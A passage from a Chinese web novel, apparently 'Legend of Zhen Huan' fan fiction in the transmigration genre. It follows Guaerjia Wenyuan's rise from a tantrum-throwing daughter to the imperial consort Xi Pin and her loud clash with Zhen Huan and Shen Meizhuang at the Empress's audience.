瓜尔佳文鸳惊奇的看着自家阿玛,没看出来啊,她阿玛还有这个觉悟呢? 谁知下一秒瓜尔佳鄂敏露出原型:“不进皇室进哪里,那些人能给咱们什么好处!” (剧中并没有详细介绍瓜尔佳文鸳的家世。不过百度上说她是镶黄旗。此次身份为安图瓜尔佳氏,阿穆巴是叔父的意思,瓜尔佳达福,镶白旗人,苏皖瓜尔佳氏鳌拜的孙子,现在的时节应该是正蓝旗满洲副都统。他们这些满人沾亲带故,有联系很正常的。身世不会开特别大的挂,但是性格会放大。) 第271 章 瓜尔佳文鸳2 鄂敏气的骂她一句‘孽障’。 而后把磨平了的鞋底搭在脚踏上:“今年雍亲王一直在畅春园伴驾,皇上的身子也是一日不如一日,你还想进后宫当宠妃?” 那眼神带了些斗嘴胜利的骄傲,下颚的胡子都跟着动了动。 崔佳氏支着脑袋,耳朵里自动过滤着父女俩的斗嘴,盘算着铺子里的事情。 “女儿才十三,明明说的是今后的宠妃!” 鄂敏放下翘着的双脚,看着文鸳那张白里透红的脸蛋陷入了沉思。 忽然间两眼冒光,再打量自家闺女时,就仿佛看到了一个金光闪闪的娃娃一般。 “你说的也有道理,只要你入了宫,那阿玛什么官职要不到?” 父女俩指望彼此的心态真是一样一样的。 瓜尔佳文鸳低头上翻着眼睛,露出一副要闹腾的架势。 “我不管!我就要阿玛当大官!阿玛!啊啊啊啊啊!我要我要!!!!!” 一阵穿透力极强的声音炸响在瓜尔佳鄂敏和崔佳氏的耳边。 两人一激灵的相视一眼,明明这两年这臭毛病改了去啊!怎么又犯病了!这可如何是好?还当宠妃?怕皇上听了这动静不抄九族就不错了! “好!” 鄂敏大喊一声压住了文鸳的声音。 “阿玛现在就去!” 去族亲家里送送礼也比在家里听这死动静强! 为了自己的耳朵,也为了把甄远道踩下去,崔佳氏认认真真的给族亲准备了稀罕的物件。 也好在她娘家能挣,倒是不缺这些东西。 都是一个姓的亲戚,关系远近不说,面子情总有几分。 鄂敏又不是那个会拐弯抹角的,到了瓜尔佳达福府上第一时间说明了来意。 达福看着鄂敏,倒是想起来了那个像一团小太阳似的的侄女。 只是,他印象里,这位叫文鸳的侄女可不是个安分的。真的能进宫得了宠妃这一名头?他不怎么相信。 “如今倒也是好时机,只是文鸳到底长自你手规矩松散些,你若是有这份心,我便送你个嬷嬷。” 白送的嬷嬷鄂敏哪有不要之理,他巴不得有人能把自己女儿看管住,好磨一磨她那一闹二闹三也闹的性子。 “多谢。” 鄂敏接下了嬷嬷,达福摸了摸胡子回到自己的书房写了封信,只是没有落款信封也无一字,孤单单的放在角落的花盆边上,晚上就到了该去的地方。 等了约莫有大半个月,瓜尔佳鄂敏成功上任正三品大理寺卿,只不过身边多了一位新来的侍从,没有引起任何人的注意。 压在了甄远道头上,鄂敏这大冬天都觉得浑身使劲儿。 他虽然人情世故不算特别通透,但能一下子把他从正六品提拔到正三品,绝不是达福能做到的。 (大理寺少卿下一级是大理寺左右寺丞为正六品。) 看来族里是认同了文鸳进下一任皇帝的后宫这一路子了。 既然选择了支持文鸳进宫,瓜尔佳氏一族的资源便分了十分有一到鄂敏的府上。 不是他们小气,而是照目前的情况来看,下一任皇帝怕是板上钉钉的雍亲王了。 可偏偏雍亲王是个心眼子不大的,现在资源倾斜的厉害,难保他会猜忌怀疑,以族里收集的情况来看,正三品的家世刚刚好。 苏完瓜尔佳氏与安图瓜尔佳氏发家路子又不大相同,先太子妃那一档子事叫本家歇了心思,这般一个姓又不算近的族亲,扶持起来就刚刚好了。 宫里头只有和妃和先太子妃留下的一些人手,经过整理其中大半都已经折了。 这也算正常,和妃在四十年生下十八公主后身子大损,尤其是十八公主夭折给和妃带来不小的打击。在后宫也沉静下来,宫权被惠宜德荣四妃把持着,手里的人手得用的不多,也可以理解。 而先太子妃也在五十一年被囚禁在了咸安宫。人走茶凉,另择其主没什么好指摘的。 不过余下的人也不算少,即便新帝选秀,保一个一宫主位应当还是很简单的事情。顺理成章的把自己人安排进去,接下来的路,就是瓜尔佳文鸳自己去走了。 得益于文鸳的闹腾,鄂敏完全不想在府上待着,即便上值时大多都是族里安排的侍从辅助,也因着爱岗敬业被雍亲王所注意。 “新上任的大理寺卿?” 这段时间康熙又病了,胤禛坐着亲王的位子干着副皇帝的活儿,还得时刻小心着,怕做多了被小心眼的皇阿玛猜忌,过的那叫一个如履薄冰。 “奴才参见雍亲王。” 经过身边侍从的提点,鄂敏表现的不卑不亢,既不谄媚也不过分冷淡,严肃起来的脸倒是看着格外正直。 胤禛点了点头,瓜尔佳氏的人,他倒是听闻了接连升官的内幕。 不过这并不奇怪,谁不想拉拔自家族里的亲戚,只要不是偷奸耍滑的就行。 这瓜尔佳鄂敏倒是勤奋,听闻十回有九回都是最晚走的,也不爱拉帮结派,是个干实事的。 他看了一眼身后的苏培盛,苏培盛意会着把这人记了下来。 即使到了现在,胤禛身后的势力也并不算强盛。 苏培盛这么浅浅一查,递到胤禛手里。 “倒是个可用的。” 没有投靠任何势力,和先太子妃的苏皖瓜尔佳氏关系还算融洽,这次也是搭了那边的力量从大理寺右寺丞升为了大理寺卿。 为人不聪明,但听话。 瓜尔佳文鸳在家里作天作地的闹腾总算得了一个好消息。这些日子可快要累死她了,熊孩子也是需要体力的! “要吃城南的桂花糕,要吃城西的南瓜饼,要吃城东的红豆酥!要吃要吃要吃!阿玛不爱女儿了!” 正说着明日能下值早和同僚小酌一杯,就听到要命的女儿又嚎叫了起来。 这跑上一圈人不得累傻了! 瓜尔佳鄂敏果断选择继续加班!只要他在大理寺不出来,这个女儿就没办法使唤他去买点心! 靠着这一招,把这个不怎么聪明的阿玛困在大理寺‘兢兢业业’的干了一年多的活儿。也搭着本家配合,一个不聪明但勤奋的臣子,绝对是上位者的最爱。 无形中,双方有了一定的默契,苦了瓜尔佳鄂敏一个,幸福他们一个姓的未来,值了! 达福和其福晋对坐,手执白子笑着落在一处:“鄂敏和他那福晋是个傻的,没想到这文鸳却聪明。” 一年多的配合,只要是有脑子的人都能明白对方的想法。 这样一个有谋算又会做戏的貌美女子,才是他们想要的宠妃。 在地府看戏的原主:哦!原来闹一闹就能给阿玛升官啦?!记下来记下来! 达福的福晋是伊尔根觉罗氏,她抿着唇落子在另一侧:“聪明貌美从来都是后宫的利器,只是如今先帝刚刚驾崩,怕是还要等上三年才好。” “不急,实满实的十四岁,便是等上三年也不过十七,来得及的。” 正常人都是这般认为的,哪成想先帝驾崩不过几个月,宫里头传出了选秀的旨意。 达福和福晋相对而坐面面相觑:“啊?” 第272 章 瓜尔佳文鸳3 “好没脸没皮的皇家人。” 这大概是选秀的圣旨下发后世家贵族的第一反应。虽热孝已过,但先帝刚走也不过小半年之久,老子还没安息,大儿子就大张旗鼓的准备当新郎官。即便是在平民百姓家里,也不是什么能说的出口的事情。 宫里头有门道的人都知道,这话是太后提出来的。那句冠冕堂皇的‘先帝担忧皇上子嗣不丰’简直成了天大的笑话。 先帝要是知道这母子俩在他还没安稳就大开选秀,说不得会把皇上立住的子嗣也一波带走。 不过庆幸的是,因着先帝晚年未曾选秀,允了适龄贵女婚嫁,基本上主支里够的上岁数的都订了亲事。 至于还有一两个没有订出去的,不是面容不符合选秀规矩,就是身体孱弱,宫,是进不了一点的。 报上名字的,和富察氏一样,都是旁支的女儿。能选上就试着给族里博一个前程,选不上也无所谓,大家也不是很在乎。 一道道流程走下来,终于要到了殿选。 养心殿。 胤禛放下一本写了千字评语的折子,呷了口茶继续翻开下一本。 “瓜尔佳鄂敏?” 这人他还是熟悉的,自调查了背景后有意接触下来,是个忠心可用之人。虽然不够聪慧也不够机敏,但胜在十分听话。 看了两眼鄂敏的折子,胤禛没忍住笑出了声。底下的苏培盛弓着腰,眼睛偷偷摸摸的往皇上身上瞟。 真是天上下了红雨了,皇上批个折子都能给批高兴咯? 苏培盛的手虚虚握了握拳又松开,心里头突然冒出一句“好久没见皇上笑的这么开心了”。 “苏培盛。” 果真是开心的,那语气是难得的温和。 “诶,奴才在呢。” 胤禛把折子放在桌子上,身体放松的往后头一靠:“去查查这大理寺卿家的秀女,朕倒是好奇,是多闹腾的女子,能叫鄂敏这么早就上折子请罪了。” 苏培盛也揣着好奇心领命下去,要说这年头的贵女们性子活泼些也是常见,但被亲阿玛亲口盖章的‘闹腾’,这该死的好奇心根本掩藏不住啊! 而闹腾的文鸳正在府上搂着其额娘的脖子晃悠:“额娘~~额娘~~” 这次的任务非同一般,文鸳特意在系统那里要了一枚‘精神百倍丸’,吃了以后每晚仅需充电三个时辰,即可活力满满待机余下时间。不仅生龙活虎,甚至还可以强身健体。 听说这丸子是专门给现代剧需要高考的任务者开发的,特别受欢迎。 “好了好了,你安分些吧!” 崔佳氏实在受不了自家闺女的闹腾,潦草的挥了挥手把人打发了出去。 这都快殿选了,拘着多巩固一下宫规才一天而已,这讨债的就把嬷嬷缠磨的没了精气神。 想跑马就跑去吧,总比在家祸祸花草好的多。 五官十分敏锐的文鸳对暗中的视线有了猜想,想来是叫阿玛上的那道折子引起了皇上的兴趣。 既如此便叫他看着,男人嘛,吊起来一点兴趣就可以了,有微弱的甜味儿他们自己就会顺着杆爬上来,再多的,就腻了。 文鸳这边玩的快活,可累坏了暗中跟着的人。近了怕暴露身影,远了说不得一眨眼人就跑出了视线范围内。 回去汇报的探子一身汗臭味,惹得皇上有些嫌弃。 这人也委屈,任谁在外头不停气儿的跑上一天都是这样啊! “皇上,奴才跟了瓜尔佳格格一天,上午跑马下午射箭,还和几位格格比划了会儿剑招。” 胤禛瞪大了眼睛,有些羡慕的咂了咂嘴:“怪不得鄂敏直说闹腾,精力如此旺盛,也属实罕见了。” 探子难得的在心里蛐蛐:这个时候觉得精力旺盛,等今后生一两个精力旺盛的孩子,吵死了! 累了一天水米未进的奴才怨气深重。 得了赏赐后的奴才:小小格格,奴才还能再跟一天! 然而胤禛虽然刻薄寡恩小气冷漠但到底也算个君子,没有叫人继续跟着一个未出嫁的格格。 对即将到来的殿选的事情,也有了期待。 虽然这次选秀的范围较大,但最终能走到殿选的人并不算多,满军旗上午,汉军旗下午,一并就能过完这个流程。 瓜尔佳文鸳到体元殿时,入眼可见的红红粉粉叫她有些眼晕。 本就是日头高照的好天气,秀女们打扮的花枝招展,那头上的金银玉翠,身上的蜀锦云锦,竟是比旁边花坛里的花都要夺目。 “文鸳妹妹。” 这里头的人文鸳大多都认识,京城里的贵女们交际不浅,即便是玩不来的,见面也会客客气气的打个招呼。 文鸳刚刚走近,富察仪欣便迎了来。 “仪欣姐姐!” 虽说关系也算一般,但比起在场的其她人,文鸳和仪欣也算是好友了。 “前儿个也不知道听谁说起来,妹妹你着了风寒?” 仪欣拉着文鸳的手上上下下打量了一遍,瞅她生龙活虎白里透红的样子,哪里有病气的影子。 “风寒?没有啊。” 文鸳无辜的摇了摇头,前几天确实身体隐隐有些不舒服,她不想喝苦药汤子,围着府里的院子跑了两圈,当晚就痛快了。 仪欣也没有细想,大约是自己听岔了。 “今儿大多是来走个过场,不过姐姐我是定下了。” 仪欣来之前已经听阿玛说起过,族里也给了补贴,来这站一站,下次就是小主了。 文鸳点了点头,神色骄傲的说道:“我觉得我这容貌,皇上定会喜欢的。” 仪欣用帕子掩着嘴轻咳了一声,虽然文鸳妹妹长的确实是最好看的,但这么理直气壮的说出来,看起来好好笑。 “好了,你安静会儿,快到咱们了。” 虽然大多是旁支的,但规矩自然比那汉军旗的好的多。安安静静的随着太监的叫唱走进去,听着走或留的声音,一上午很快就过去了。 文鸳不出意料的被留了牌子,胤禛看到这样充满活力的美人儿嘴角不自觉的就翘了起来。 “瓜尔佳氏的格格规矩好,人也漂亮。” 太后瞧着板了一上午脸的皇上难得露出笑模样,也跟着夸了一句。 “是,鄂敏的女儿,是个好的。” 底下唱名的太监最会看眼色,直接高喊:“瓜尔佳文鸳,留牌子赐香囊。” 文鸳谢恩后,笑眯眯的站在原地等候着,那笑脸仿佛能冲破所有的阴霾,叫胤禛后头的不耐烦也跟着放松了下来。 满军旗进了三个秀女,瓜尔佳氏,富察氏和方佳氏。 皇后在景仁宫沉着脸,不知道在想什么。 “下午就是汉军旗的选秀了,娘娘您要不要......” 剪秋端来一盘橘子,小心翼翼的询问。 皇后摇了摇头,称病把这笔烂账踢给了华妃,这戏就不能叫停。 “罢了,东西都准备好了,等安排秀女进宫后记得收拾。” 满军旗的秀女,入宫不会是低位,宜修捂着头,盘算着手里麝香的库存。 第273 章 瓜尔佳文鸳4 到底是同族的大侄女入宫,从前的和妃如今的皇考贵妃总算是提起了精神。 “嬛嬛一袅楚宫腰?” 虽然人手不如曾经手握宫权的太后多,但到底也是深耕多年,皇考贵妃想在体元殿安插几个眼线还是很轻松的事情。 “是,咱们的人离的远些,不过听太后身边的人讲,这位甄秀女抬头时,太后和皇上都有些愣神。” 皇考贵妃皱了皱眉:“这就奇了,便是再漂亮,也不至于叫太后变脸色。” 要知道太后年轻时可是不可多得的美人,先帝的后宫得宠的,哪个不是容色倾城。 “叫卫蓬河去看一眼。” 卫篷河是跟着皇考贵妃的老人了,这宫里的妖魔鬼怪大事小情都是走过眼入过耳的。 等了一天的功夫,卫篷河到宁寿宫回禀道:“娘娘,这位甄小主,容貌有几分似曾经的四福晋,乌拉那拉柔则。” 当初雍亲王为了这个四福晋闹出来多少笑话,宫里的人就没有不在背地里嘲笑德妃的。 虽然先帝不待见,但好歹也是皇家的儿媳,几场大宴家宴还是出席过。 皇考贵妃了然的点了点头。 卫篷河没有下去,皇考贵妃问道:“可还有其他的?” “娘娘,甄小主还接了一位松阳县的安小主入府小住。这位安小主,奴才听着,声音也偶尔似那位。” 皇考贵妃颇有些不可置信,四福晋是什么很普通的人吗?怎么容色有形似就算了,声音也有? 她杵着额头有些嫌弃的摆了摆手:“你先下去,一会儿把信传回去就是。” 一荣俱荣一损俱损。 瓜尔佳氏先是定下了太子妃,再又有她这个和妃。可惜两头都不算得了好结局。 太子被废,先太子妃也去了。 而她又因着不算貌美,好不容易得了一个公主还没有保住。 如今族里再次送人入宫,不论如何,瓜尔佳氏不能再折一个姑娘了。 悠悠烛火被微风轻轻拂过,好似带走了什么,却并未被人注意。 宜修带着秀女们定下的位分到了养心殿。 “不知皇上打算给这位甄氏什么位分呢?” 皇上想着甄嬛那张脸笑了起来:“便,给一个贵人吧。” 宜修愣了一下,很快就维持好了表情:“贵人,贵人好啊,满军旗两个贵人,汉军旗两个贵人。” 皇上看了一眼宜修有些疑惑:“两个?” “是,沈自山的女儿沈眉庄,家世要好些,也是贵人。” 皇上的注意力却不在这上头。 “满军旗是哪两个?” 宜修心里头咯噔一下,还是柔柔的说道:“是瓜尔佳氏和富察氏。” “不妥。” 皇上摆了摆手从榻上坐起了身。 “瓜尔佳鄂敏是个忠心得用的,比富察氏的家世高些,宫里的皇考贵妃也送了信儿。贵人有些低了,便给一个嫔位,赐封号曦,宫室就定在永寿宫。” 皇考贵妃能为着瓜尔佳氏递信,说明瓜尔佳氏把资源放在了这位文鸳格格身上。瓜尔佳一族又不像富察氏那般站队老八,胤禛还是有不少耐心的。 更何况文鸳那张脸,看着就叫人活力十足,充满了生命力 ,用曦字再好不过。 “曦嫔,是不是有些高了,不若等侍寝了......” 瓜尔佳这个姓氏就叫她不痛快,再有这般的待遇,哪还能坐的住。 “不高,皇考贵妃当年入宫时也是初封嫔位,满军旗大姓,值得这个位置。” 宜修看出了胤禛脸上的不耐烦,只好笑着点了点头。 “皇上说的是,那甄氏......” 虽说满军旗有一位嫔一位贵人,但汉军旗的地位如何能这样比得? 胤禛想了想:“贵人是高了些,汉军旗,便给个常在吧,再赐个封号,莞。” 皇后脸上的笑容深了些,有眼色的行礼告退。 至于宫室的安排,华妃即便想要动一动文鸳的地方,也碍着皇命忍下了这口气。 “曦嫔,倒是好听。” 文鸳得了圣旨拉着教导嬷嬷开启了学习模式。 嬷嬷刚感叹曦嫔好学,就被那不会累的体力震惊到。 “今日便先到这儿,娘娘歇一歇。” 嬷嬷实在有些累了,按理说她们这些伺候人的奴才要比主子们有劲儿多了。 可嬷嬷实在熬不过眼前这位曦嫔娘娘,行走坐卧不论是多少遍都不会喊累,反倒是她这个奴才有些抬不起来腿了。 “嬷嬷累了便歇着,本宫去给放风筝。” 嬷嬷深吸口气,穿着花盆底走了一天,居然还有体力放风筝。 来之前皇上也没告诉她这位娘娘这么能干啊!皇上那四力半的身子骨,能吃得消吗?嬷嬷突然有些发愁。 她连忙送信给了宫里的苏培盛,叫他这些日子给皇上温补温补。 苏培盛:不懂,但照做。 瓜尔佳鄂敏天天在家数着日子,总算到了九月十二这一天。 文鸳拜别父母,扶着嬷嬷的手上了轿子。 单是曦嫔这个名头,主支的瓜尔佳氏又送来了两个得力的婢女。 文鸳给两人换了名字,茉莉和栀子,两人便是认了主。 二人自幼是瓜尔佳氏的家仆,从小培养着,通些简单的医理,也擅长解决各种阴司。 入了宫,永寿宫里的人手也大多是皇考贵妃安排的,除却她的人脉,还有一部分是族里收拢了先太子妃留下的,一并给安排了。 “娘娘,您先歇一歇,认认人。” 虽然皇考贵妃插了手,但到底如今当家的是乌雅氏和乌拉那拉氏姑侄俩,多检查一下总不会出错。 “娘娘,永寿宫那里,咱们的人没有安排进去。” 剪秋面色有些凝重,这一届的小主们卧虎藏龙,先有瓜尔佳氏有族亲支持,后又肖似纯元皇后的甄氏。 “到底是瓜尔佳氏,先太子妃去了,皇考贵妃也没个一儿半女,可不就把念头打到了曦嫔身上。” 皇后写着忍字,内心的烦躁却没有丝毫消减。 “我记着,库房里还有一串红麝香珠,你准备着。” 既然宫室上不好下手,那便从衣裳首饰和吃食方面来,虽然慢些,但瓜尔佳氏是绝对要防备的。 文鸳不知道皇后的打算,她小小的睡了一觉 ,看到了富察仪欣。 “仪欣妹妹来啦!” 她笑的像偷了腥的小狐狸,总算在称呼上压了仪欣一头,做姐姐十分的得意。 仪欣不轻不重的打了她一下:“就知道你惦记着这个。” 对于文鸳的曦嫔,仪欣有些羡慕,但并没有嫉妒。 自己的位分为什么这么低她心里还是有数的,既承了族里这么多年的教养,在能回馈族里时,心里头就少了很多抱怨。 “嘻嘻,你在哪个宫里头?有没有别人?” 富察贵人和文鸳挎着手往旁边的软榻上走:“我在延禧宫住着,听闻过两日有两个汉军旗的小主要住进来。” 她现在最羡慕的就是文鸳可以独住这永寿宫。 “那是很烦人了,东西都放不下,还要放两个人。” 虽然早就习惯了文鸳的口无遮拦,但仪欣还是有些惊恐的看了看四周。 “要死了,你在家里头没有学规矩吗?” 文鸳很无辜:“学了啊,我学的可好了。” 富察仪欣:“真的吗?我不信。” 两人即便是会有矛盾,也是十几年后儿子长成了的事情。 现如今入宫不过是为了家族为了富贵,况且谁家没有连上一两个亲戚,都是自家人。 第274 章 瓜尔佳文鸳5 (关于瓜尔佳鄂敏的官职,我确实剧里头也没仔细注意,不要在乎那些细节。) “这永寿宫怎么又吵吵嚷嚷的?” 华妃皱着眉头大声抱怨,这几日她过的可谓是苦不堪言。 翊坤宫和永寿宫仅隔着一道宫墙,每日里的笑闹声从天亮就开始,除了用膳的时候消停一会儿,隔壁的曦嫔连午休的时间都不放过。 她自个儿又不想屈尊降贵的去永寿宫,派了周宁海和颂芝三番警告也没什么效果。就连皇上也叫她忍一忍,说什么妮子年龄小,调皮。 这几日连早晨去向皇后请安,华妃都蔫巴着很少怼人了。 “奴才也派人打听过了,隔壁的曦嫔是大理寺卿瓜尔佳鄂敏的嫡女,自幼娇纵,又是和宁寿宫的皇考贵妃连着亲,咱们也不好......” 周宁海弓着腰,和他主子在胤禛的后院作威作福久了,就连那皇后都敢呛上两句,不就是仗着年羹尧的军功。 如今的曦嫔虽然不是武将家族出身,但瓜尔佳氏大族不容小觑。即便不是先太子妃那一支,单看宫里的皇考贵妃也知道,人家同族同心,不是能随便下手的人。 “罢了罢了,皇上最讨厌这般吵闹的人,待侍寝后再说吧。” 入宫就是嫔位,华妃还不至于这点眼力见都没有。 过了好一会儿,华妃支着脑袋突然问了一句:“曦嫔天天都玩儿什么?” 她怎么不知道后宫能有这么多乐子? 颂芝小心的觑了眼主子娘娘的神色,才开口道:“听内务府说,皇上惦记着曦嫔年幼,叫内务府准备了秋千,蹴鞠,鞭子和箭靶等物给曦嫔解闷。” 这意思大家都知道,永寿宫是不会进别人了,整个宫室都是曦嫔独享。除却皇后和华妃,谁还有这份待遇。 “年幼?本宫记着那曦嫔也有十五了吧?” 这话听的华妃心口酸酸的,皇上何时这般纵容一个女子了?除了她,这待遇,谁得了都不行! “是,还有两个月,就满十五了。” 颂芝小碎步挪到自家娘娘身边,试探的伸手为其揉捏着肩膀。 “娘娘,凭她是什么人,皇上心里总是最惦记您的。听闻这瓜尔佳鄂敏大人也是因为忠厚老实,才被当时还是雍亲王的皇上发现,得以重用。跟咱们大将军没得比。” 华妃看了一眼身后的颂芝:“你说的对,她是瓜尔佳氏,皇上少不得照顾一些。” 汉军旗和满军旗之间天然的天堑,华妃不是不知道。 “还有那莞常在, 也不知道是什么料子的狐媚子,小小四品官之女,竟还勾的皇上赐了封号给她。” 曦嫔她动不得,莞常在还动不得吗? 华妃最擅长挑软柿子捏了。 颂芝也乐得自家娘娘转移一下注意力,瓜尔佳氏他们不能硬碰硬,但甄氏可不是什么有名有姓的人家。能给她们娘娘出口气,也算是她的福气了。 “奴婢听御前的人说,这位莞常在,在殿选时和皇上聊的很是开心呢!” 虽然只有皇上开心,但并不妨碍颂芝给甄嬛上眼药。毕竟甄嬛遭殃了,他们这些奴才就好过了。 “哼!” 华妃使劲儿拍了拍桌子。 “狐媚子东西,殿选就敢勾搭皇上,叫咱们的人仔细盯着,别叫本宫抓住她的把柄!” 明儿就是阖宫觐见的日子,华妃有些迫不及待的见到这位莞常在了。 颂芝悄悄松了口气,暗自瞥了一眼周宁海,示意他看好碎玉轩那位小主。 周宁海自然愿意有人转移娘娘的注意力,叫了两个心细胆大的,还真让他找出了点事。 “今儿怎么没见翊坤宫的人来?” 文鸳到了用晚膳的时间,先是去泡了个澡,把疯玩儿了一天的汗洗了干净,才由着茉莉和栀子的伺候坐在饭桌前。她巴巴的看着桌子上的菜,还惦记着每天来报道投诉她扰民的那两个奴才。 “许是听习惯了吧?” 夏荷是永寿宫的掌事嬷嬷,也是先太子妃留下的人之一,和首领太监徐福一样,都是受过先太子妃恩惠的,十分忠心。她一边张罗着给自家娘娘布菜,一边回想了一下今儿有没有见到那对没眼力见的奴才。 周宁海和颂芝肖主,张扬跋扈但没什么底蕴,夏荷一个人就能把他们打发了,根本没有吵到自家主子面前。 文鸳点了点头,终于要见皇后了,不用再当一个缩头乌龟娘娘了。虽然皇上送来了不少好玩儿的,但不能跑出去玩儿,还是差了点意思。 她可跟天天往碎玉轩跑的沈贵人安答应不同,她虽然闹腾了点,但可是很守规矩的!这,是她们瓜尔佳氏的底蕴! 至于皇上为什么这么自觉的送了些消耗精力的玩意儿来,还不是鄂敏上了折子提醒,为了自己这宫室完整,皇上也算是难得大方一次。 “明儿阖宫觐见,娘娘想穿哪身衣裳?” 夏荷叫紫薇和海棠把准备好的两身衣裳摆了出来。 “这套桃花粉的,是娘娘您带进宫的云锦。另一套浅色豆蔻紫的蜀锦,是皇考贵妃送来恭贺您进宫的。” 这两身衣裳的颜色都娇嫩的很,文鸳哪个都想穿。 许是见主子半晌没有说话,夏荷又笑着把首饰盒一并拿了过来。 “娘娘您瞧,这套芙蓉玉配珍珠的头面娇俏,另一套是皇考贵妃搭配着衣裳送来的,是品相极好的紫翡,漂亮温婉。” 文鸳瞧了瞧,皇考贵妃果然大气,送的东西极好,但她还是选择粉色这套。 “就粉色的,姑母这一身,等本宫侍寝了再穿。” 皇考贵妃论辈分也是文鸳姑母,她得意的叉着腰看向景仁宫的方向,来啊,谁没有姑母似的。 好容易把文鸳哄睡了,夏荷几人捂着腰退了出去。 “等娘娘侍寝了,姑姑再去和皇上讨几个宫女来吧,单是咱们几个,实在有些吃不消了。” 嫔位娘娘虽然是一宫主位,能使唤掌事嬷嬷。但身边伺候的人也不过六人。 在旗包衣宫女即便做惯了伺候人的活计,也有些受不住如此高强度的运动了。 不是陪着娘娘满院子的跑,就是提心吊胆的扶着娘娘登高爬梯,那甩鞭子和拉弓都算的上是他们这些奴才休息时间了。 夏荷也叹了口气,她也算是宫里的老人了,她倒是不怕自家这位娘娘不受宠,而是怕侍寝后就关不住了啊! “快休息吧,娘娘醒的早。” 这句话仿佛是一个什么了不得的开关,音落周围就响起了熟睡的鼾声。 第275 章 瓜尔佳文鸳6 “你是哪家的小主?怎么这么不懂规矩。” 光彩照人的文鸳不顾后头富察仪欣的拉扯,站在沈眉庄和甄嬛身边,目光嫌弃语气昂然。 “这位姐姐,嫔妾是莞常在甄氏,这位是贵人沈氏。不知姐姐有何指教?” “切。” 文鸳翻了个白眼依旧很大声:“怎么一个常在一个贵人,还是汉军旗的小主,就能站到第一排了吗?你们汉军旗要造反吗?” 这话甄嬛二人如何敢应,但两人也确实是被面前这位蜜獾似的嫔妃点醒,脸色泛红的往后退了两步。 “嫔妾二人只是未曾察觉行为失误罢了,还望姐姐谨言慎行,在皇后娘娘宫里,咱们姐妹勿要喧哗,惹得皇后娘娘不快。” 虽然甄嬛和沈眉庄知道自己站错了位置,但沈眉庄仍旧以一副好心劝诫的面孔对待文鸳。 “好没脸皮的人,明明是你以汉军旗贵人的身份站到了本宫满军旗嫔位的头上。本宫好心提醒你,你却倒打一耙说本宫喧哗?本宫回去定要写信回家,叫阿玛查一查,你家到底是何教养? 不懂得尊卑廉耻,甚至还在证据确凿之下扬别人的言行避自己的僭越之过!” 她声音嘹亮吐字清晰,叫里头已经坐好的嫔妃听的痛快。 就连躲在后头未曾现身的皇后都听了个大概。 “曦嫔这嗓门也太大了些,你去看看。” 皇后乐得看着嫡姐纯元的替身受困,但也不乐意看着瓜尔佳氏如此嚣张。 “曦嫔娘娘,如今是在景仁宫,您这般大声怕是不合规矩。” 剪秋带着她虚伪的笑容穿过一众潜邸妃嫔来到外头的隔间。 本以为手拿把掐的事情,却没想到曦嫔并不吃这一套。 “什么?她汉军旗莞常在和沈贵人欺辱满军旗嫔妃这么严重的事情皇后娘娘不管,却要派你一个奴婢过来说本宫的嗓门大?!这两个到底哪个严重皇后娘娘也不知吗? 难不成,这次的安排是皇后娘娘授意?还是皇上的意思?叫汉军旗压在满蒙八旗身上是这个意思吗?” 身后看了会儿热闹的华妃觉得这也不是不行,但她也知道这不可能。 能看皇后笑话的时候,华妃总是积极的。 “皇后娘娘这事办的也太......唉.......” 华妃扶了扶头上的步摇,晃着韵味十足的腰肢走到文鸳几人面前。 “曦嫔是吧,本宫觉得你说的很对。咱们满清向来以满军旗为首,本宫做主,你做的没错。” 这话听的文鸳十分得意,她再一次挺了挺胸膛:“还是华妃娘娘明事理,没有仗着自己也是汉军旗的就拉偏架。” 华妃瞬间收回脸上的笑容,对着文鸳翻了个白眼。 剪秋也知道自己做错了事,赶紧和文鸳道了歉,重新安排了位置带着人走了进去。 行了大礼,皇后笑着关怀新进宫的嫔妃。 文鸳站在左一的位置,不顾身边富察仪欣的死活的开口道:“皇后娘娘,莞常在和沈贵人藐视满军旗的事情就这么不清不楚的结束了吗?您不是乌拉那拉氏吗?就能容忍两个汉军旗的踩在咱们满军旗的脸面上吗?” 皇后嘴角的笑容僵硬了一瞬间,她能说她不敢惩罚甄嬛吗?那可是肖似柔则的小贱人,被她罚了,皇上那不生她的气吗? “莞常在和沈贵人初初入宫,想来是有些紧张罢了。曦嫔也不用太过苛责。” “这怎么可以!” 文鸳的嗓门极具穿透力,在场的人只觉得耳朵一阵嗡鸣,明明是极为悦耳的嗓音,怎么能爆发出这么吓人的动静呢。 “且不说入选后宫里头派了嬷嬷来教导规矩,就算时间短学的不精,那她们俩这十几年在家里头都是吃干饭的吗? 皇后娘娘如此,是告诉咱们汉军旗比满军旗珍贵吗?那华妃娘娘是不是也可以站到皇后娘娘前头了?” 华妃从懵逼中回神,这句话叫她眉开眼笑。 “原来皇后娘娘是这个意思,倒是本宫误会皇后娘娘了。” 她用帕子掩了掩嘴,眼底的笑意快要溢出来了。 “皇后娘娘,华妃娘娘,嫔妾和沈贵人并非有意,只是......” 甄嬛吸了口气,拉着沈眉庄跪在地上解释。 只是她话没说完就被文鸳打断。 “本宫最讨厌你这一套了,做错了事就是做错了事,这么多双眼睛看着你,老老实实的认错才是正经。非要说什么不是故意,你活了这么多年,规矩学到狗肚子里也叫不是故意吗? 那本宫倒是想问问你宫外的家人,教导你学规矩的时候到底有没有尽心。” 沈眉庄哪能看着自家好姐妹被如此‘污蔑’,梗着脖子反驳:“曦嫔娘娘未免太过武断,人非圣贤孰能无过,难不成连个改正自新的机会都不给咱们吗?” 岂料文鸳斜眼看了她一眼,做出了个回忆的姿态:“你就是沈贵人吧?济州协领之女?” 沈眉庄腰板挺的笔直:“正是嫔妾。” 文鸳点了点头,看了看在场的娘娘小主们。 “不知道有没有其他山东的娘娘或者小主了?” 被文鸳这么一闹,皇后巴不得她继续说下去,好叫其他人忘记她刚才有偏袒汉军旗的嫌疑。 华妃也带了些趣味,只要看到皇后吃瘪,看着新进宫的嫔妃难受,她就很痛快。 齐妃看了看大家:“没有了,只有咱们沈贵人。” 文鸳朝着齐妃福了福身:“多谢齐妃娘娘解惑。” 齐妃瞧着她那一脸甜蜜蜜的模样就不自觉的带了笑,更何况这曦嫔一上来就怼天怼地的,连皇后都没放过,就她说了句话,不仅得了礼还得了笑脸,这不是证明,她齐妃,比皇后还要守规矩吗? “无妨无妨。” 华妃翻了个白眼,又叫这个齐妃美上了。 “本宫自幼听闻山东乃是孔孟之乡,想来也是言不符实。不然怎么有沈贵人这般不守规矩还言语僭越的女子,怕不是来叫咱们京城人看看,这传言有多不可信的吧?” 